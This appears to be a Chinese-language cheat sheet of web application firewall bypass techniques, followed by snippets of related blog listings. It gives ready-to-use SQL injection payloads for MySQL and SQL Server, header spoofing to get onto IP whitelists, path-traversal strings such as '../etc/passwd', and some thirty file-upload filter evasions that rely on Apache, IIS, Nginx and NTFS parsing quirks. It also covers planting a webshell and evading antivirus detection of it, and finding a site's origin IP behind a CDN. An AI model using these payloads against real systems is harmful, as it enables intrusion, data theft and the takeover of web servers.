    reverse(right(reverse(version()),1)
    字符串连接函数
    concat(version(),'|',user());
    concat_ws('|',1,2,3)
    字符转换
    Char(49)
    Hex('a')
    Unhex(61)
    过滤了逗号
    (1)limit处的逗号:
    limit 1 offset 0
    (2)字符串截取处的逗号
    mid处的逗号:
    mid(version() from 1 for 1)
    (3)union处的逗号:
    通过join拼接

    select * from corp where corp_id=8e0union select * from (select 1)a join (select{x schema_name} from information_schema.schemata limit 1)b;
    mysqlTricks
    特殊符号:%a 换行符
       可结合注释符使用%23%0a,%2d%2d%0a。
    

    内联注释:
    /!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540

    mysql黑魔法
    select{x username}from {x11 test.admin};

    Sqlserver

    常见过滤位置

    (1) select from后的位置

    空白符号
    01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 
    需要做urlencode,sqlserver中的表示空白字符比较多,靠黑名单去阻断一般不合适。

    注释
    /**/

    --

    其他符号

    • .符号
    • :

    (2) select from之间的位置
    空白符号
    注释
    :

    (3) and之后的位置

    空白
    注释
    其他符号

    • :
    • %2b号:
    常见过滤函数&关键字

    IS_SRVROLEMEMBER()
    IS_MEMBER()
    HAS_DBACCESS()
    convert()
    col_name()
    object_id()
    is_srvrolemember()
    is_member()

    字符串截取函数
    Substring(@@version,1,1)
    Left(@@version,1)
    Right(@@version,1)
    字符串转换函数
    Ascii('a') 这里的函数可以在括号之间添加空格的,一些WAF过滤不严会导致bypass
    Char('97')

    其他方式:
    Mssql支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句。动态执行。
    使用exec的方式

    使用sp_executesql的方式

    SQLServerTricks
    1)用来注释掉注射后查询的其余部分:
        /*      C语言风格注释 */
        --      SQL注释
        ; 00% 空字节
    

    2)特殊符号:%3a 冒号
    id=1 union:select 1,2 from:admin

    3)函数变形:如db_name空白字符

    WAF层bypass

    WAF在设计的时候都会考虑到性能问题,例如如果是基于数据包的话会考虑检测数据包的包长,如果是基于数据流的话就会考虑检测一条数据流的多少个字节。一般这类算检测的性能,同时为了保证WAF的正常运行,往往还会做一个bypass设计,在性能如cpu高于80%或则内存使用率高于如80%是时候,会做检测bypass,以保证设备的正常运行。

    逻辑bypass

    (1)云WAF防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
    (2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
    (3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
    (4)特殊符号%00,部分WAF遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

    性能bypass

    性能检测bypass

    在设计WAF的时候可能就会设计一个默认值,有可能是默认多少个字节的流大小,可能是多少个数据包。

    如PcreWAF那题,不过这是PHP本身的,还有匹配机制自动向量机的问题

    zone师傅设计了一个脚本,不断的向HTTP POST添加填充数据,当将填充数据添加到一定数目之后,发现POST中的sql注入恶意代码没有被检测了。最终达到了bypass的目的。

    性能负载bypass

    一些传统硬件防护设备为了避免在高负载的时候影响用户体验,如延时等等问题,会考虑在高负载的时候bypass掉自己的防护功能,等到设备的负载低于门限值的时候又恢复正常工作。
    现在应该不能用了,WAF普遍可用性极佳

    fuzz bypass

    使用脚本去探测WAF设备对于字符处理是否有异常,上面已经说过WAF在接收到网络数据之后会做相应的数据包解析,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass。测试的时候常常测试的位置:

    1):get请求处
    2):header请求处
    3):post urlencode内容处
    4):post form-data内容处

    然后模糊测试的基础内容有:
    1)编码过的0-255字符
    2)进行编码的0-255字符
    3)utf gbk字符

    白名单Bypass

    方式一:IP白名单

    从网络层获取的ip,这种一般伪造不来,如果是应用层的获取的IP,这样就可能存在伪造白名单IP造成bypass。

    测试方法:修改http的header来bypass WAF

    X-forwarded-for
    X-remote-IP
    X-originating-IP
    x-remote-addr
    X-Real-ip

    方式二:静态资源

    特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,WAF为了检测效率,不去检测这样一些静态文件名后缀的请求。

    http://10.9.9.201/sql.php/1.js?id=1
    备注:Aspx/php只识别到前面的.aspx/.php 后面基本不识别

    方式三:url白名单

    为了防止误拦,部分WAF内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:

    http://10.9.9.201/sql.php/admin.php?id=1
    http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
    http://10.9.9.201/../../../manage/../sql.asp?id=2

    WAF通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

    方式四:爬虫白名单

    部分WAF有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

    1、 根据UserAgent 2、通过行为来判断

    UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

    上传Bypass

    WAF检查位置

    请求的url
    Boundary边界
    MIME类型
    文件扩展名
    文件内容

    常见扩展名黑名单:

    asp|asa|cer|cdx|aspx|ashx|ascx|asax
    php|php2|php3|php4|php5|asis|htaccess
    htm|html|shtml|pwml|phtml|phtm|js|jsp
    vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

    容器特性

    Apache1.X 2.X解析漏洞

    Apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇见Apache可识别的扩展名为止。
    shell.php.ddd这种即可bypass

    IIS6.0两个解析缺陷

    • 目录名包含.asp 、.asa 、.cer 的话,则该目录下的所有文件都将按照asp解析。
      cer.jpg
    • 文件名中如果包含.asp;、.asa;、.cer;则优先使用asp解析。
      asa.asa;asa.jpg

    Nginx解析漏洞
    Nginx解析漏洞:

    • Nginx 0.5.
      Nginx 0.6.

      Nginx 0.7 <= 0.7.65
      Nginx 0.8 <= 0.8.37

    以上Nginx容器的版本下,上传一个在WAF白名单之内扩展名的文件shell.jpg,然后以shell.jpg%00.php进行请求。

    • Nginx 0.8.41 – 1.5.6:

    以上Nginx容器的版本下,上传一个在WAF白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20%00.php进行请求。

    PHP CGI解析漏洞

    • IIS 7.0/7.5
      Nginx < 0.8.3

    以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析。

    多个Content-Disposition

    在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果WAF只是取最后一个的话便会被绕过。

    ContentDisposition: form-data; name="file"; filename="shell.php"
    ContentDisposition: form-data; name="file"; filename="shell.jpg"

    请求正文格式问题

    Content-Disposition: form-data; name="file1"; filename="shell.asp"
    Content-Type: application/octet-stream

    正常的upload请求都是以上这样,然而这个格式也并非强制性的,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
    结合.htaccess指定某些文件使用php来解析

    这个方法通常用于绕过WAF黑名单的,配置该目录下所有文件都将其使用php来解析:

    <FilesMatch "shell">
    SetHandler application/x-httpd-php
    </FilesMatch>

    系统特性

    Windows特殊字符
    当我们上传一个文件的filename为shell.php{%80-%99}
    WAF可能识别为.php{%80-%99},就会导致被绕过

    exee扩展名

    上传.exe文件通常会被WAF拦截,如果使用各种特性无用的话,那么可以把扩展名改为.exee再进行上传。

    NTFS ADS特性

    ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果WAF对请求正文的filename匹配不当的话可能会导致绕过。

    image.png

    Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php......也可以这么写shell.php::$DATA.......

    WAF缺陷

    匹配过于严谨
    一个空格导致安全狗被绕过:

    Content-Type: multipart/form-data; 
    boundary=—————————4714631421141173021852555099
    

    boundary =---------------------------4714631421141173021852555099

    但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得WAF认为这段数据是无意义的,可是容器并没有那么严谨

    数据过长导致的绕过

    WAF如果对Content-Disposition长度处理的不够好的话可能会导致绕过

    image.png

    基于文件名

    • 基于构造长文件名
      如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
      shell.../*10000个*/...asp

    • 特殊的长文件名:
      文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
      shell.asp;文文文文文文文文文文文文文文文文文文/*100个*/文文文文文文文文文文文文文文文文文.jpg

    一些上传绕过trick

    1. filename在content-type下面
    2. .asp{80-90}
    3. NTFS ADS
    4. .asp...
    5. boundary不一致
    6. iis6分号截断asp.asp;asp.jpg
    7. apache解析漏洞php.php.ddd
    8. boundary和content-disposition中间插入换行
    9. hello.php:a.jpg然后hello.<<<
    10. filename=php.php
    11. filename="a.txt";filename="a.php"
    12. name=\n"file";filename="a.php"
    13. content-disposition:\n
    14. .htaccess文件
    15. a.jpg.\nphp
    16. 去掉content-dispositionform-data字段
    17. php<5.3 单双引号截断特性
    18. 删掉content-disposition: form-data;
    19. content-disposition\00:
    20. {char}+content-disposition
    21. head头的content-type: tab
    22. head头的content-type: multipart/form-DATA
    23. filename后缀改为大写
    24. head头的Content-Type: multipart/form-data;\n
    25. .asp空格
    26. .asp0x00.jpg截断
    27.boundary
    28. file\nname="php.php"
    29. headcontent-type空格:
    30. form-data字段与name字段交换位置
    

    其他情况bypass

    Bypass 菜刀连接拦截

    多数WAF对请求进行检测时由于事先早已纳入了像菜刀这样的样本。通常WAF对这块的
    检测就是基于样本,所以过于死板。

    云盾:fuzz eval、base64这些关键字前后存在什么字符串会绕过,%01这种空字符插对地方即可

    360主机卫士:在eval函数前面插入任意urlencode的字符即可

    webshell 免杀

    讲webshell免杀也就直接写写姿势,一些特性功能、畸形语法、生僻函数比如回调等
    绕过查杀语法,不断变种、变种、变种。。。(混淆太恶心了,将其拿到实战上的人是
    怎么想的?)

    为了用户体验,主机防护软件对eval这类函数只要不被外部可控就不会被拦截

    Bypass 禁止执行程序

    黑客在进行提权时,主机防护软件安全狗、星外等会进行拦截。原理上都是基于黑白
    名单进行拦截敏感的程序调用。

    可以找其他软件的白名单,进行伪装。

    Bypass CDN查找原IP

    cdn隐藏了原ip,在某种情况上使黑客无法做不正当勾当,那么自然就有各种绕过的方
    法。在这里附上一些靠谱的姿势和小工具。

    由于cdn不可能覆盖的非常完全,那么可以采用国外多地ping的方式,或者多收集一些小国家的冷门dns然后nslookup domain.com dnsserver。

    让服务器主动连接:

    • 在可上传图片的地方利用目标获取存放在自己服务器的图片,或者任何可pull自己资源的点,review log即可拿到。

    • 通过注册等方式让目标主动发邮件过来,此方法对于大公司几率小,因为出口可能是统一的邮件服务器。可以尝试扫其MailServer网段。

    参考

    Bypass WAF Cookbook | WooYun知识库

    Cookbook同作者硬件IPS

    CongRong 我的WAFBypass之道

    那些可以绕过WAF的各种特性

    展开全文
  • SQL注入中的WAF绕过技术,里面的思路很好,可以学习一下
  • WAF绕过讲解

    2021-06-18 22:19:43
    WAF绕过 WAF 在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕...
  • WAF绕过—SQL注入

    千次阅读 2021-11-08 08:39:44
    WAF绕过—SQL注入 对数据进行:大小写、加解密、编码解码等操作,使拦截失效 例如,以sqlilabs-less-2为例(假设安全狗已经设置了禁止查询数据库): 此时输入以下语句时,注入将会被拦截 id=-1 union select 1,...
  • WAF详解及WAF绕过

    2022-03-20 15:17:59
    waf(web application firewall): 原理: web应用防火墙,一款集网站内容安全防护、网站资源安全防护及流量保护功能为一体的服务器工具。为用户提供实时网站安全防护,避免各类针对网站的攻击带来的危害。(核心...
  • SQL注入之WAF绕过

    千次阅读 2022-04-03 17:21:02
    SQL注入之WAF绕过 数据 大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用 方式 更改提交方式 变异 其他 Fuzz大法 数据库特性 垃圾数据溢出 HTTP参数污染
  • waf绕过方法总结

    2020-12-30 20:26:44
    一、WAF防护原理 1. bypass 客户端JavaScript校验;服务器校验;文件内容头字段、编码校验;后缀名黑名单校验;自定义正则校验;waf设备校验; 有些waf不会防asp/php/jsp后缀文件,但是他会检测里面的文件; ...
  • waf主要拦截的就是上图漏洞 SQL 注入 如需 sqlmap 注入 修改 us 头及加入代理防 CC 拦截自写 tamper 模块 ...1.php 截断 参考前面上传 waf 绕过 payload #XSS 跨站 利用 XSStrike 绕过 加上--tim.
  • 目录 WAF部署: 阿里云盾 安全狗: 网站安全狗、服务器安全狗、安全狗服云 宝塔面板: 桌面应用端 web网页端 WAF绕过 WAF原理: 介绍: WAF分为非嵌入型WAF和嵌入型WAF WAF的判断 方法一:手动测试 方法二:sqlmap...
  • WAF绕过-漏洞利用

    2022-01-01 15:40:35
    文件上传3.XSS绕过4.RCE-WAF绕过 .漏洞利用 在漏洞利用中,主要就是以下几个方面需要绕过WAF SQL注入 文件上传 XSS跨站 文件包含 RCE执行 下面就写一些思路吧。 1.SQL注入 敏感字符绕过 如 union,ordery by 等...
  • waf绕过详解

    千次阅读 多人点赞 2019-04-13 15:33:06
    目录 waf防护原理讲解 目录扫描绕过waf ...waf绕过原理详解 了解waf防护原理 查看waf防护位置 熟悉防护规则 了解防护机制 查看拦截时间阀值 我们可以下载一个安全狗,查看它详细的防护机制,...
  • waf注入绕过 这样算是面试过程中比较经典的一个问题了 网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。 功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量...
  • 当我对对象检测,已经检测到存在sql注入,文件上传或者RCE等漏洞的时候,发现验证漏洞的存在,被waf拦截,无法验证漏洞,这里总结sqlmap的注入绕过,xss工具使用的绕过,文件上传的思路,以及RCE命令执行的命令写法...
  • 最简单的WAF绕过方式

    2021-08-25 12:03:37
    一、修改提交方式绕过 1、通过GET请求,发现and 1=1被拦截 2、换成POST请求,可以正常访问 二、通过特殊符号拆分 1、查看数据库名称,database()被拦截 2、经测试,database不拦截,()也不拦截,所以...
  • SQL注入-waf绕过

    千次阅读 2022-04-06 16:08:00
    之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。 sql注入时绕过waf防护
  • waf绕过之标签绕过

    2021-10-15 16:28:14
    在内容绕过waf拦截上,一般有两种思路。 第一种是在代码上想办法,各种混淆代码,或者放弃特征明显的eval,使用特征不那么明显的命令执行,远程文件包含,文件上传,反序列化。 但有的waf会直接从脚本文件的标签特征...
  • WAF绕过

    2022-02-19 11:09:58
    作为攻击者来说,常见的绕过WAF的方式包括大小写变换、编码、重写、巧用注释符、巧用盲注、同功能函数替换等。其中,重写适用于WAF只过滤一次敏感字的情况。比如 WAF过滤敏感字union,但只过滤一次,则可以写出类似...
  • safedog CC 绕过 user-agent –delay 代理池:换ip CC 拦截绕过 user-agent:伪装成爬虫白名单 代理池:每秒钟换ip 延时设置: --delay aliyun + safedog 演示 sqlmap工具+代理 +tamper (自写注入规则) –tamper ...
  • 漏洞利用之WAF绕过

    2020-09-07 11:31:05
    命令执行WAF绕过 1.通配符 符号 含义 ? 匹配单个字符如果匹配多个字符,就需要多个?连用 * *代表任意数量的字符 [ ] 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, ...
  • WAF 绕过方法

    千次阅读 2020-08-12 21:13:57
    命令注入 通配符?,* 在bash shell中,问号?表示通配符,可以替换任意的单个字符(非空),*...在SQL查询语句中加入注释,例如select/**/from,当WAF不摘除注释而去匹配正则表达式时,可能会匹配不上,从而绕过。 ...
  • 所以,我们需要手动进行WAF绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。 堆叠查询注入 (局限性:只产生在部分数据库) ​ Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句...
  • sqlmap之waf绕过

    千次阅读 2021-11-12 10:50:56
    从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。 测试方法:修改http的header来bypass waf x-forwarded-for x-remote-IP x-originating-IP x-remote-addr x-Real-ip &...
  • 通常在实战中,当我们需要扫描对方子域名目录等的时候,常常被waf产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取waf绕过扫描, 下面介绍aliyun-os,safedog,BT(宝塔)的目录绕过思路 0x01 扫描绕...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,570
精华内容 3,428
关键字:

waf绕过

友情链接: clinicosight.rar